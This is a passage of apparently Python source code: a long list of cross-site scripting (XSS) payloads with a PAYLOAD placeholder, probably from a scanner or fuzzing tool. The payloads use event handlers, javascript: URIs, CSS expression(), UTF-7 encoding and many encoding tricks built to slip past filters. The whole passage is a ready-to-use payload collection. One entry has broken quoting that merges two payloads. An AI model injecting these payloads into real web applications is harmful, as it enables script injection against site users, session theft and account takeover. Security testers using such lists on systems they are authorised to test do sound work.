  1582.         { 'payload':'''<div/onmouseover='alert(PAYLOAD)'> style="x:">''',
    1583. 

  1583.           'browser':"""[Not Info]"""},
    1584. 

  1584.         { 'payload':'''<div onmouseover='alert&lpar;PAYLOAD&rpar;'>DIV</div>''',
    1585. 

  1585.           'browser':"""[Not Info]"""},
    1586. 

  1586.         { 'payload':'''<DIV STYLE="background-image: url(&#1;javascript:alert(PAYLOAD))">''',
    1587. 

  1587.           'browser':"""[Not Info]"""},
    1588. 

  1588.         { 'payload':'''<DIV STYLE="background-image: url(&#1;javascript:alert('PAYLOAD'))">''',
    1589. 

  1589.           'browser':"""[Not Info]"""},
    1590. 

  1590.         { 'payload':'''<div style="background-image: url(javascript:alert(PAYLOAD););">''',
    1591. 

  1591.           'browser':"""[Not Info]"""},
    1592. 

  1592.         { 'payload':'''<DIV STYLE="background-image: url(javascript:alert(PAYLOAD))">''',
    1593. 

  1593.           'browser':"""[Not Info]"""},
    1594. 

  1594.         { 'payload':'''<DIV STYLE="background-image: url(javascript:alert('PAYLOAD'))">''',
    1595. 

  1595.           'browser':"""[Not Info]"""},
    1596. 

  1596.         { 'payload':'''<DIV STYLE="background-image: url(javascript:javascript:alert(PAYLOAD))">''',
    1597. 

  1597.           'browser':"""[Not Info]"""},
    1598. 

  1598.         { 'payload':'''<div style="color:red'{} x:expression(alert(PAYLOAD))">.</div>''',
    1599. 

  1599.           'browser':"""[Not Info]"""},
    1600. 

  1600.         { 'payload':'''<div style="Y:expression(alert(PAYLOAD))'"></div>''',
    1601. 

  1601.           'browser':"""[Not Info]"""},
    1602. 

  1602.         { 'payload':'''<div style="Y:expression(alert(PAYLOAD))"></div>''',
    1603. 

  1603.           'browser':"""[Not Info]"""},
    1604. 

  1604.         { 'payload':'''<div style="Y:expression(alert(PAYLOAD))\"></div>''',
    1605. 

  1605.           'browser':"""[Not Info]"""},
    1606. 

  1606.         { 'payload':'''<div style="Y:expression(alert(PAYLOAD))">Y/div>''',
    1607. 

  1607.           'browser':"""[Not Info]"""},
    1608. 

  1608.         { 'payload':'''<div style="list-style:url(http://foo.f)\20url(javascript:alert(PAYLOAD));">X</div>''',
    1609. 

  1609.           'browser':"""[Not Info]"""},
    1610. 

  1610.         { 'payload':'''<div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(PAYLOAD));">X''',
    1611. 

  1611.           'browser':"""[Not Info]"""},
    1612. 

  1612.         { 'payload':'''<div  style="position:absolute;top:0;left:0;width:100%25;height:100%25"  onmouseover="prompt(PAYLOAD)" onclick="alert(PAYLOAD)">x</button>​''',
    1613. 

  1613.           'browser':"""[Not Info]"""},
    1614. 

  1614.         { 'payload':'''<div style="position:absolute;top:0;left:0;width:100%25;height:100%25" onmouseover="prompt(PAYLOAD)" onclick="alert(PAYLOAD)">x</button>''',
    1615. 

  1615.           'browser':"""[Not Info]"""},
    1616. 

  1616.         { 'payload':'''<div style=width:1px;filter:glow onfilterchange=alert(PAYLOAD)>x</div>''',
    1617. 

  1617.           'browser':"""[Not Info]"""},
    1618. 

  1618.         { 'payload':'''<div style=width:1px;filter:glow onfilterchange=javascript:alert(PAYLOAD)>x''',
    1619. 

  1619.           'browser':"""[Not Info]"""},
    1620. 

  1620.         { 'payload':'''<div style=width:1px;filter:glow onfilterchange=prompt(PAYLOAD)>x</div>''',
    1621. 

  1621.           'browser':"""[Not Info]"""},
    1622. 

  1622.         { 'payload':'''<div style="width: expression(alert(PAYLOAD););">''',
    1623. 

  1623.           'browser':"""[Not Info]"""},
    1624. 

  1624.         { 'payload':'''<DIV STYLE="width: expression(alert(PAYLOAD));">''',
    1625. 

  1625.           'browser':"""[Not Info]"""},
    1626. 

  1626.         { 'payload':'''<DIV STYLE="width: expression(alert('PAYLOAD'));">''',
    1627. 

  1627.           'browser':"""[Not Info]"""},
    1628. 

  1628.         { 'payload':'''<div/style="width:expression(confirm(PAYLOAD))">X</div>''',
    1629. 

  1629.           'browser':"""[IE7]"""},
    1630. 

  1630.         { 'payload':'''<DIV STYLE="width:expression(javascript:alert(PAYLOAD));">''',
    1631. 

  1631.           'browser':"""[Not Info]"""},
    1632. 

  1632.         { 'payload':'''%E0<body onload=alert(PAYLOAD)>''',
    1633. 

  1633.           'browser':"""[Not Info]"""},
    1634. 

  1634.         { 'payload':'''<embed code=javascript:javascript:alert(PAYLOAD);></embed>''',
    1635. 

  1635.           'browser':"""[Not Info]"""},
    1636. 

  1636.         { 'payload':'''<embed src="javascript:alert(PAYLOAD)">''',
    1637. 

  1637.           'browser':"""[Not Info]"""},
    1638. 

  1638.         { 'payload':'''<embed src=javascript:alert(PAYLOAD)>''',
    1639. 

  1639.           'browser':"""[Not Info]"""},
    1640. 

  1640.         { 'payload':'''<!ENTITY x "&#x3C;html:img&#x20;src='x'&#x20;xmlns:html='http://www.w3.org/1999/xhtml'&#x20;onerror='alert(PAYLOAD)'/&#x3E;">''',
    1641. 

  1641.           'browser':"""[Not Info]"""},
    1642. 

  1642.         { 'payload':'''<event-source src="%25(event)s" onload="javascript:alert(PAYLOAD)">''',
    1643. 

  1643.           'browser':"""[Not Info]"""},
    1644. 

  1644.         { 'payload':'''<event-source src=javascript:alert(PAYLOAD)>''',
    1645. 

  1645.           'browser':"""[Not Info]"""},
    1646. 

  1646.         { 'payload':'''exp/*<A STYLE='no\Y:noY("*//*");Y:&#101;x&#x2F;*Y*//*/*/pression(alert(PAYLOAD))'>''',
    1647. 

  1647.           'browser':"""[Not Info]"""},
    1648. 

  1648.         { 'payload':'''exp/*<A STYLE='no\Y:noY("*//*");Y:ex/*Y*//*/*/pression(alert("PAYLOAD"))'>''',
    1649. 

  1649.           'browser':"""[Not Info]"""},
    1650. 

  1650.         { 'payload':'''</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(PAYLOAD)>'</font>/</style>''',
    1651. 

  1651.           'browser':"""[Not Info]"""},
    1652. 

  1652.         { 'payload':'''foo%00<script>alert(PAYLOAD)</script>''',
    1653. 

  1653.           'browser':"""[Not Info]"""},
    1654. 

  1654.         { 'payload':'''<! foo="><script>alert(PAYLOAD)</script>">''',
    1655. 

  1655.           'browser':"""[Not Info]"""},
    1656. 

  1656.         { 'payload':'''<? foo="><script>alert(PAYLOAD)</script>">''',
    1657. 

  1657.           'browser':"""[Not Info]"""},
    1658. 

  1658.         { 'payload':'''</ foo="><script>alert(PAYLOAD)</script>">''',
    1659. 

  1659.           'browser':"""[Not Info]"""},
    1660. 

  1660.         { 'payload':'''<! foo="><script>javascript:alert(PAYLOAD)</script>">''',
    1661. 

  1661.           'browser':"""[Not Info]"""},
    1662. 

  1662.         { 'payload':'''<? foo="><script>javascript:alert(PAYLOAD)</script>">''',
    1663. 

  1663.           'browser':"""[Not Info]"""},
    1664. 

  1664.         { 'payload':'''</ foo="><script>javascript:alert(PAYLOAD)</script>">''',
    1665. 

  1665.           'browser':"""[Not Info]"""},
    1666. 

  1666.         { 'payload':'''<? foo="><x foo='?><script>alert(PAYLOAD)</script>'>">''',
    1667. 

  1667.           'browser':"""[Not Info]"""},
    1668. 

  1668.         { 'payload':'''<%25 foo><x foo="%25><script>alert(PAYLOAD)</script>">''',
    1669. 

  1669.           'browser':"""[Not Info]"""},
    1670. 

  1670.         { 'payload':'''<? foo="><x foo='?><script>javascript:alert(PAYLOAD)</script>'>">''',
    1671. 

  1671.           'browser':"""[Not Info]"""},
    1672. 

  1672.         { 'payload':'''<%25 foo><x foo="%25><script>javascript:alert(PAYLOAD)</script>">''',
    1673. 

  1673.           'browser':"""[Not Info]"""},
    1674. 

  1674.         { 'payload':'''<form><a href="javascript:%0061lert&#x28;PAYLOAD&#x29;">Y''',
    1675. 

  1675.           'browser':"""[Not Info]"""},
    1676. 

  1676.         { 'payload':'''<form><button formaction="javascript:alert(PAYLOAD)">Y</button>''',
    1677. 

  1677.           'browser':"""[Not Info]"""},
    1678. 

  1678.         { 'payload':'''<form><button formaction=javascript&colon;alert(PAYLOAD)>Y''',
    1679. 

  1679.           'browser':"""[Not Info]"""},
    1680. 

  1680.         { 'payload':'''<form><button formaction=javascript&colon;alert(PAYLOAD)>Y''',
    1681. 

  1681.           'browser':"""[Not Info]"""},
    1682. 

  1682.         { 'payload':'''<form><button formaction="javascript:javascript:alert(PAYLOAD)">X''',
    1683. 

  1683.           'browser':"""[Not Info]"""},
    1684. 

  1684.         { 'payload':'''<form id=Y /><button form=Y formaction=javascript:alert(PAYLOAD)>''',
    1685. 

  1685.           'browser':"""[Not Info]"""},
    1686. 

  1686.         { 'payload':'''<form id="Y" /><button form="Y" formaction="javascript:alert(PAYLOAD)">X''',
    1687. 

  1687.           'browser':"""[Not Info]"""},
    1688. 

  1688.         { 'payload':'''<form id="Y" /><button form="Y" formaction="javascript:javascript:alert(PAYLOAD)">X''',
    1689. 

  1689.           'browser':"""[Not Info]"""},
    1690. 

  1690.         { 'payload':'''<form id="Y"></form><button form="Y" formaction="javascript:alert(PAYLOAD)">X</button>''',
    1691. 

  1691.           'browser':"""[Not Info]"""},
    1692. 

  1692.         { 'payload':'''<form id=Y onforminput=javascript:alert(PAYLOAD)><input></form><button form=Y onformchange=javascript:alert(PAYLOAD)>X''',
    1693. 

  1693.           'browser':"""[Not Info]"""},
    1694. 

  1694.         { 'payload':'''<form id=Y onforminput=prompt(PAYLOAD)><input></form><button form=Y onformchange=prompt(PAYLOAD)>X</button>''',
    1695. 

  1695.           'browser':"""[Not Info]"""},
    1696. 

  1696.         { 'payload':'''<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(PAYLOAD)"&#11;&#10;&#09;;>''',
    1697. 

  1697.           'browser':"""[Not Info]"""},
    1698. 

  1698.         { 'payload':'''<form><isindex formaction="javascript&colon;confirm(PAYLOAD)"''',
    1699. 

  1699.           'browser':"""[Not Info]"""},
    1700. 

  1700.         { 'payload':'''<form name=self location="javascript&#58;alert(PAYLOAD)"></form><script>if(top!=self){ top.location=self.location}</script>''',
    1701. 

  1701.           'browser':"""[Not Info]"""},
    1702. 

  1702.         { 'payload':'''<form name=self location="javascript&#58;alert(PAYLOAD)"></form><script>if(top!=self){top.location=self.location}</script>''',
    1703. 

  1703.           'browser':"""[Not Info]"""},
    1704. 

  1704.         { 'payload':'''<form name=self location="javascript:alert(PAYLOAD)"></form><script>if(top!=self){ top.location=self.location}</script>''',
    1705. 

  1705.           'browser':"""[Not Info]"""},
    1706. 

  1706.         { 'payload':'''<form name=self location="javascript:alert(PAYLOAD)"></form><script>if(top!=self){top.location=self.location}</script>''',
    1707. 

  1707.           'browser':"""[Not Info]"""},
    1708. 

  1708.         { 'payload':'''<form><textarea &#13; onkeyup='%0061%006C%0065%0072%0074&#x28;PAYLOAD&#x29;'>''',
    1709. 

  1709.           'browser':"""[Not Info]"""},
    1710. 

  1710.         { 'payload':'''<FRAMESET><FRAME SRC="javascript:alert(PAYLOAD);"></FRAMESET>''',
    1711. 

  1711.           'browser':"""[Not Info]"""},
    1712. 

  1712.         { 'payload':'''<FRAMESET><FRAME SRC="javascript:alert('PAYLOAD');"></FRAMESET>''',
    1713. 

  1713.           'browser':"""[Not Info]"""},
    1714. 

  1714.         { 'payload':'''<FRAMESET><FRAME SRC="javascript:javascript:alert(PAYLOAD);"></FRAMESET>''',
    1715. 

  1715.           'browser':"""[Not Info]"""},
    1716. 

  1716.         { 'payload':'''<frameset onBlur frameset onBlur="javascript:javascript:alert(PAYLOAD)"></frameset onBlur>''',
    1717. 

  1717.           'browser':"""[Not Info]"""},
    1718. 

  1718.         { 'payload':'''<frameset onFocus frameset onFocus="javascript:javascript:alert(PAYLOAD)"></frameset onFocus>''',
    1719. 

  1719.           'browser':"""[Not Info]"""},
    1720. 

  1720.         { 'payload':'''<frameset onload=alert(PAYLOAD)>''',
    1721. 

  1721.           'browser':"""[Not Info]"""},
    1722. 

  1722.         { 'payload':'''<frameset onload=javascript:alert(PAYLOAD)>''',
    1723. 

  1723.           'browser':"""[Not Info]"""},
    1724. 

  1724.         { 'payload':'''<frameset onload=javascript:javascript:alert(PAYLOAD)></frameset>''',
    1725. 

  1725.           'browser':"""[Not Info]"""},
    1726. 

  1726.         { 'payload':'''<frameset onload=prompt(PAYLOAD)>''',
    1727. 

  1727.           'browser':"""[Not Info]"""},
    1728. 

  1728.         { 'payload':'''<frameset onScroll frameset onScroll="javascript:javascript:alert(PAYLOAD)"></frameset onScroll>''',
    1729. 

  1729.           'browser':"""[Not Info]"""},
    1730. 

  1730.         { 'payload':'''?#?gad=xxxx"onload="alert(PAYLOAD)"''',
    1731. 

  1731.           'browser':"""[Not Info]"""},
    1732. 

  1732.         { 'payload':'''/#?gad=xxxx"onload="alert(PAYLOAD)"''',
    1733. 

  1733.           'browser':"""[Not Info]"""},
    1734. 

  1734.         { 'payload':'''#?gad=xxxx"onload="alert(PAYLOAD)"''',
    1735. 

  1735.           'browser':"""[Not Info]"""},
    1736. 

  1736.         { 'payload':'''<head><base href="javascript://"/></head><body><a href="/. /,alert(PAYLOAD)//#">XXX</a></body>''',
    1737. 

  1737.           'browser':"""[Not Info]"""},
    1738. 

  1738.         { 'payload':'''<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(PAYLOAD)//#">Y</a></body>''',
    1739. 

  1739.           'browser':"""[Not Info]"""},
    1740. 

  1740.         { 'payload':'''<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(PAYLOAD);+ADw-/SCRIPT+AD4-''',
    1741. 

  1741.           'browser':"""[Not Info]"""},
    1742. 

  1742.         { 'payload':'''<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('PAYLOAD');+ADw-/SCRIPT+AD4-''',
    1743. 

  1743.           'browser':"""[Not Info]"""},
    1744. 

  1744.         { 'payload':'''<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%25(PAYLOAD)s;+ADw-/SCRIPT+AD4-''',
    1745. 

  1745.           'browser':"""[Not Info]"""},
    1746. 

  1746.         { 'payload':'''<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#Zault#time2"><t:set attributeName="innerHTML" to="Y<SCRIPT ZER>javascript:alert(PAYLOAD)</SCRIPT>"></BODY></HTML>''',
    1747. 

  1747.           'browser':"""[Not Info]"""},
    1748. 

  1748.         { 'payload':'''<html onMouseDown html onMouseDown="javascript:javascript:alert(PAYLOAD)"></html onMouseDown>''',
    1749. 

  1749.           'browser':"""[Not Info]"""},
    1750. 

  1750.         { 'payload':'''<html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(PAYLOAD)"></html onMouseEnter>''',
    1751. 

  1751.           'browser':"""[Not Info]"""},
    1752. 

  1752.         { 'payload':'''<html onMouseLeave html onMouseLeave="javascript:javascript:alert(PAYLOAD)"></html onMouseLeave>''',
    1753. 

  1753.           'browser':"""[Not Info]"""},
    1754. 

  1754.         { 'payload':'''<html onmousemove html onmousemove="javascript:javascript:alert(PAYLOAD)"></html onmousemove>''',
    1755. 

  1755.           'browser':"""[Not Info]"""},
    1756. 

  1756.         { 'payload':'''<html onMouseMove html onMouseMove="javascript:javascript:alert(PAYLOAD)"></html onMouseMove>''',
    1757. 

  1757.           'browser':"""[Not Info]"""},
    1758. 

  1758.         { 'payload':'''<html onMouseOut html onMouseOut="javascript:javascript:alert(PAYLOAD)"></html onMouseOut>''',
    1759. 

  1759.           'browser':"""[Not Info]"""},
    1760. 

  1760.         { 'payload':'''<html onmouseover html onmouseover="javascript:javascript:alert(PAYLOAD)"></html onmouseover>''',
    1761. 

  1761.           'browser':"""[Not Info]"""},
    1762. 

  1762.         { 'payload':'''<html onMouseOver html onMouseOver="javascript:javascript:alert(PAYLOAD)"></html onMouseOver>''',
    1763. 

  1763.           'browser':"""[Not Info]"""},
    1764. 

  1764.         { 'payload':'''<html onMouseUp html onMouseUp="javascript:javascript:alert(PAYLOAD)"></html onMouseUp>''',
    1765. 

  1765.           'browser':"""[Not Info]"""},
    1766. 

  1766.         { 'payload':'''<html onMouseWheel html onMouseWheel="javascript:javascript:alert(PAYLOAD)"></html onMouseWheel>''',
    1767. 

  1767.           'browser':"""[Not Info]"""},
    1768. 

  1768.         { 'payload':'''htmlStr = '<a href="javascript:alert(PAYLOAD)">Y</a>'; document.getElementById('body').innerHTML = htmlStr; try { alert(PAYLOAD);}catch(e){alert(PAYLOAD);};''',
    1769. 

  1769.           'browser':"""[Not Info]"""},
    1770. 

  1770.     { 'payload':'''htmlStr = '<a href="javascript:alert(PAYLOAD)">Y</a>'; document.getElementById('body').innerHTML = htmlStr; try { if(document.getElementById('body').firstChild.protocol === 'javascript:') { alert(PAYLOAD); } }catch(e){alert(PAYLOAD);};''',
    1771. 

  1771.           'browser':"""[Not Info]"""},
    1772. 

  1772.         { 'payload':'''<HTML xmlns:Y><?import namespace="Y" implementation="%25(htc)s"><Y:Y>Y</Y:Y></HTML>""","XML namespace."),("""<XML ID="Y"><I><B><IMG SRC="javas<!-- -->cript:javascript:alert(PAYLOAD)"></B></I></XML><SPAN DATASRC="#Y" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>''',
    1773. 

  1773.           'browser':"""[Not Info]"""},
    1774. 

  1774.         { 'payload':'''http://%22%20onerror=%22alert%28PAYLOAD%29;//''',
    1775. 

  1775.           'browser':"""[Not Info]"""},
    1776. 

  1776.         { 'payload':'''http://www.<script>alert(PAYLOAD)</script .com''',
    1777. 

  1777.           'browser':"""[Not Info]"""},
    1778. 

  1778.         { 'payload':'''<!--[if gte IE 4]><SCRIPT>alert(PAYLOAD);</SCRIPT><![endif]-->''',
    1779. 

  1779.           'browser':"""[Not Info]"""},
    1780. 

  1780.         { 'payload':'''<!--[if gte IE 4]><SCRIPT>javascript:alert(PAYLOAD);</SCRIPT><![endif]-->''',
    1781. 

  1781.           'browser':"""[Not Info]"""},
    1782. 

  1782.         { 'payload':'''<!--[if<img src=x onerror=alert(PAYLOAD)//]> -->''',
    1783. 

  1783.           'browser':"""[Not Info]"""},
    1784. 

  1784.         { 'payload':'''<!--[if<img src=x onerror=javascript:alert(PAYLOAD)//]> -->''',
    1785. 

  1785.           'browser':"""[Not Info]"""},
    1786. 

  1786.         { 'payload':'''<iframe/%00/ src=javaSCRIPT&colon;alert(PAYLOAD)''',
    1787. 

  1787.           'browser':"""[Not Info]"""},
    1788. 

  1788.         { 'payload':'''<iframe %00 src="&Tab;javascript:prompt(PAYLOAD)&Tab;"%00>''',
    1789. 

  1789.           'browser':"""[Not Info]"""},
    1790. 

  1790.         { 'payload':'''<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(PAYLOAD)"></iframe onbeforeload>''',
    1791. 

  1791.           'browser':"""[Not Info]"""},
    1792. 

  1792.         { 'payload':'''<iframe "onload=alert(PAYLOAD)></iframe>''',
    1793. 

  1793.           'browser':"""[Not Info]"""},
    1794. 

  1794.         { 'payload':'''<iframe/ /onload=alert(PAYLOAD)></iframe>''',
    1795. 

  1795.           'browser':"""[Not Info]"""},
    1796. 

  1796.         { 'payload':'''<iframe/ "onload=alert(PAYLOAD)></iframe>''',
    1797. 

  1797.           'browser':"""[Not Info]"""},
    1798. 

  1798.         { 'payload':'''<iframe///////onload=alert(PAYLOAD)></iframe>''',
    1799. 

  1799.           'browser':"""[Not Info]"""},
    1800. 

  1800.         { 'payload':'''<iframe onload iframe onload="javascript:javascript:alert(PAYLOAD)"></iframe onload>''',
    1801. 

  1801.           'browser':"""[Not Info]"""},
    1802. 

  1802.         { 'payload':'''<iframe onLoad iframe onLoad="javascript:javascript:alert(PAYLOAD)"></iframe onLoad>''',
    1803. 

  1803.           'browser':"""[Not Info]"""},
    1804. 

  1804.         { 'payload':'''<iframe/onreadystatechange=%0061%006C%0065%0072%0074('%006PAYLOAD') worksinIE>''',
    1805. 

  1805.           'browser':"""[Not Info]"""},
    1806. 

  1806.         { 'payload':'''<iframe onreadystatechange=alert(PAYLOAD)>''',
    1807. 

  1807.           'browser':"""[Not Info]"""},
    1808. 

  1808.         { 'payload':'''<iframe/onreadystatechange=alert(PAYLOAD)''',
    1809. 

  1809.           'browser':"""[Not Info]"""},
    1810. 

  1810.         { 'payload':'''<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(PAYLOAD)"></iframe onReadyStateChange>''',
    1811. 

  1811.           'browser':"""[Not Info]"""},
    1812. 

  1812.         { 'payload':'''<iframe srcdoc='<body onload=prompt&lpar;PAYLOAD&rpar;>'>''',
    1813. 

  1813.           'browser':"""[Not Info]"""},
    1814. 

  1814.         { 'payload':'''<iframe srcdoc="&LT;iframe&sol;srcdoc=&lt;img&sol;src=&apos;&apos;onerror=javascript:alert(PAYLOAD)&gt;>">''',
    1815. 

  1815.           'browser':"""[Not Info]"""},
    1816. 

  1816.         { 'payload':'''/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(PAYLOAD) /*iframe/src*/>''',
    1817. 

  1817.           'browser':"""[Not Info]"""},
    1818. 

  1818.         { 'payload':'''<iframe src iframe src="javascript:javascript:alert(PAYLOAD)"></iframe src>''',
    1819. 

  1819.           'browser':"""[Not Info]"""},
    1820. 

  1820.         { 'payload':'''<iframe src="javascript:alert(PAYLOAD); <''',
    1821. 

  1821.           'browser':"""[Not Info]"""},
    1822. 

  1822.         { 'payload':'''<iframe src=javascript:alert(PAYLOAD)>''',
    1823. 

  1823.           'browser':"""[Not Info]"""},
    1824. 

  1824.         { 'payload':'''<IFRAME SRC="javascript:alert(PAYLOAD);"></IFRAME>''',
    1825. 

  1825.           'browser':"""[Not Info]"""},
    1826. 

  1826.         { 'payload':'''<IFRAME SRC="javascript:alert('PAYLOAD');"></IFRAME>''',
    1827. 

  1827.           'browser':"""[Not Info]"""},
    1828. 

  1828.         { 'payload':'''<IFRAME SRC="javascript:javascript:alert(PAYLOAD);"></IFRAME>''',
    1829. 

  1829.           'browser':"""[Not Info]"""},
    1830. 

  1830.         { 'payload':'''<iframe src=j&#x61;vasc&#x72ipt&#x3a;alert&#x28;PAYLOAD&#x29; >''',
    1831. 

  1831.           'browser':"""[Not Info]"""},
    1832. 

  1832.         { 'payload':'''<iframe/src \/\/onload = prompt(PAYLOAD)''',
    1833. 

  1833.           'browser':"""[Not Info]"""},
    1834. 

  1834.         { 'payload':'''<iframe style="position:absolute;top:0;left:0;width:100%25;height:100%25" onmouseover="prompt(PAYLOAD)">''',
    1835. 

  1835.           'browser':"""[Not Info]"""},
    1836. 

  1836.         { 'payload':'''<!--[if]><script>alert(PAYLOAD)</script -->''',
    1837. 

  1837.           'browser':"""[Not Info]"""},
    1838. 

  1838.         { 'payload':'''<!--[if]><script>javascript:alert(PAYLOAD)</script -->''',
    1839. 

  1839.           'browser':"""[Not Info]"""},
    1840. 

  1840.         { 'payload':'''<image src=1 href=1 onerror="javascript:alert(PAYLOAD)"></image>''',
    1841. 

  1841.           'browser':"""[Not Info]"""},
    1842. 

  1842.         { 'payload':'''<image src="javascript:alert(PAYLOAD)">''',
    1843. 

  1843.           'browser':"""[Not Info]"""},
    1844. 

  1844.         { 'payload':'''<img %00src=x onerror="alert(PAYLOAD)">''',
    1845. 

  1845.           'browser':"""[Not Info]"""},
    1846. 

  1846.         { 'payload':'''<img %00src=x onerror="javascript:alert(PAYLOAD)">''',
    1847. 

  1847.           'browser':"""[Not Info]"""},
    1848. 

  1848.         { 'payload':'''<img/&#09;&#10;&#11; src=`~` onerror=prompt(PAYLOAD)>''',
    1849. 

  1849.           'browser':"""[Not Info]"""},
    1850. 

  1850.         { 'payload':'''<img%10src=x onerror="javascript:alert(PAYLOAD)">''',
    1851. 

  1851.           'browser':"""[Not Info]"""},
    1852. 

  1852.         { 'payload':'''<img %11src=x onerror="javascript:alert(PAYLOAD)">''',
    1853. 

  1853.           'browser':"""[Not Info]"""},
    1854. 

  1854.         { 'payload':'''<img%11src=x onerror="javascript:alert(PAYLOAD)">''',
    1855. 

  1855.           'browser':"""[Not Info]"""},
    1856. 

  1856.         { 'payload':'''<img %12src=x onerror="javascript:alert(PAYLOAD)">''',
    1857. 

  1857.           'browser':"""[Not Info]"""},
    1858. 

  1858.         { 'payload':'''<img%13src=x onerror="javascript:alert(PAYLOAD)">''',
    1859. 

  1859.           'browser':"""[Not Info]"""},
    1860. 

  1860.         { 'payload':'''<img%32src=x onerror="javascript:alert(PAYLOAD)">''',
    1861. 

  1861.           'browser':"""[Not Info]"""},
    1862. 

  1862.         { 'payload':'''<img %34src=x onerror="javascript:alert(PAYLOAD)">''',
    1863. 

  1863.           'browser':"""[Not Info]"""},
    1864. 

  1864.         { 'payload':'''<img %39src=x onerror="javascript:alert(PAYLOAD)">''',
    1865. 

  1865.           'browser':"""[Not Info]"""},
    1866. 

  1866.         { 'payload':'''<img %47src=x onerror="javascript:alert(PAYLOAD)">''',
    1867. 

  1867.           'browser':"""[Not Info]"""},
    1868. 

  1868.         { 'payload':'''<img%47src=x onerror="javascript:alert(PAYLOAD)">''',
    1869. 

  1869.           'browser':"""[Not Info]"""},
    1870. 

  1870.         { 'payload':'''<img/anyjunk/onerror=alert(PAYLOAD) src=a>''',
    1871. 

  1871.           'browser':"""[Not Info]"""},
    1872. 

  1872.         { 'payload':'''<img dynsrc="javascript:alert(PAYLOAD);">''',
    1873. 

  1873.           'browser':"""[Not Info]"""},
    1874. 

  1874.         { 'payload':'''<IMG DYNSRC="javascript:alert(PAYLOAD)">''',
    1875. 

  1875.           'browser':"""[Not Info]"""},
    1876. 

  1876.         { 'payload':'''<IMG DYNSRC="javascript:alert('PAYLOAD')">''',
    1877. 

  1877.           'browser':"""[Not Info]"""},
    1878. 

  1878.         { 'payload':'''<IMG DYNSRC="javascript:javascript:alert(PAYLOAD)">''',
    1879. 

  1879.           'browser':"""[Not Info]"""},
    1880. 

  1880.         { 'payload':'''<IMG LOWSRC="javascript:alert(PAYLOAD)">''',
    1881. 

  1881.           'browser':"""[Not Info]"""},
    1882. 

  1882.         { 'payload':'''<IMG LOWSRC="javascript:alert('PAYLOAD')">''',
    1883. 

  1883.           'browser':"""[Not Info]"""},
    1884. 

  1884.         { 'payload':'''<IMG LOWSRC="javascript:javascript:alert(PAYLOAD)">''',
    1885. 

  1885.           'browser':"""[Not Info]"""},
    1886. 

  1886.         { 'payload':'''"/><img/onerror=%09javascript:alert(PAYLOAD)%09src=xxx:x />''',
    1887. 

  1887.           'browser':"""[Not Info]"""},
    1888. 

  1888.         { 'payload':'''"/><img/onerror=%0Ajavascript:alert(PAYLOAD)%0Asrc=xxx:x />''',
    1889. 

  1889.           'browser':"""[Not Info]"""},
    1890. 

  1890.         { 'payload':'''"/><img/onerror=%0Bjavascript:alert(PAYLOAD)%0Bsrc=xxx:x />''',
    1891. 

  1891.           'browser':"""[Not Info]"""},
    1892. 

  1892.         { 'payload':'''"/><img/onerror=%0Cjavascript:alert(PAYLOAD)%0Csrc=xxx:x />''',
    1893. 

  1893.           'browser':"""[Not Info]"""},
    1894. 

  1894.         { 'payload':'''"/><img/onerror=%0Djavascript:alert(PAYLOAD)%0Dsrc=xxx:x />''',
    1895. 

  1895.           'browser':"""[Not Info]"""},
    1896. 

  1896.         { 'payload':'''"/><img/onerror=%20javascript:alert(PAYLOAD)%20src=xxx:x />''',
    1897. 

  1897.           'browser':"""[Not Info]"""},
    1898. 

  1898.         { 'payload':'''"/><img/onerror=%22javascript:alert(PAYLOAD)%22src=xxx:x />''',
    1899. 

  1899.           'browser':"""[Not Info]"""},
    1900. 

  1900.         { 'payload':'''"/><img/onerror=%27javascript:alert(PAYLOAD)%27src=xxx:x />''',
    1901. 

  1901.           'browser':"""[Not Info]"""},
    1902. 

  1902.         { 'payload':'''"/><img/onerror=%60javascript:alert(PAYLOAD)%60src=xxx:x />''',
    1903. 

  1903.           'browser':"""[Not Info]"""},
    1904. 

  1904.         { 'payload':'''<img onerror=a&#0108;ert(PAYLOAD) src=a>''',
    1905. 

  1905.           'browser':"""[Not Info]"""},
    1906. 

  1906.         { 'payload':'''<img onerror=a&#0108ert(PAYLOAD) src=a>''',
    1907. 

  1907.           'browser':"""[Not Info]"""},
    1908. 

  1908.         { 'payload':'''<img onerror=a&#108;ert(PAYLOAD) src=a>''',
    1909. 

  1909.           'browser':"""[Not Info]"""},
    1910. 

  1910.         { 'payload':'''<img onerror=a&#108ert(PAYLOAD) src=a>''',
    1911. 

  1911.           'browser':"""[Not Info]"""},
    1912. 

  1912.         { 'payload':'''<img onerror=`alert(PAYLOAD)`src=a>''',
    1913. 

  1913.           'browser':"""[Not Info]"""},
    1914. 

  1914.         { 'payload':'''<img onerror=”alert(PAYLOAD)”src=a>''',
    1915. 

  1915.           'browser':"""[Not Info]"""},
    1916. 

  1916.         { 'payload':'''<img onerror=alert(PAYLOAD) src=a>''',
    1917. 

  1917.           'browser':"""[Not Info]"""},
    1918. 

  1918.         { 'payload':'''<img/onerror=alert(PAYLOAD) src=a>''',
    1919. 

  1919.           'browser':"""[Not Info]"""},
    1920. 

  1920.         { 'payload':'''<img/onerror=alert(PAYLOAD) src=a>''',
    1921. 

  1921.           'browser':"""[Not Info]"""},
    1922. 

  1922.         { 'payload':'''<img/onerror=alert(PAYLOAD) src=a>''',
    1923. 

  1923.           'browser':"""[Not Info]"""},
    1924. 

  1924.         { 'payload':'''«img onerror=alert(PAYLOAD) src=a»''',
    1925. 

  1925.           'browser':"""[Not Info]"""},
    1926. 

  1926.         { 'payload':'''<iMg onerror=alert(PAYLOAD) src=a>''',
    1927. 

  1927.           'browser':"""[Not Info]"""},
    1928. 

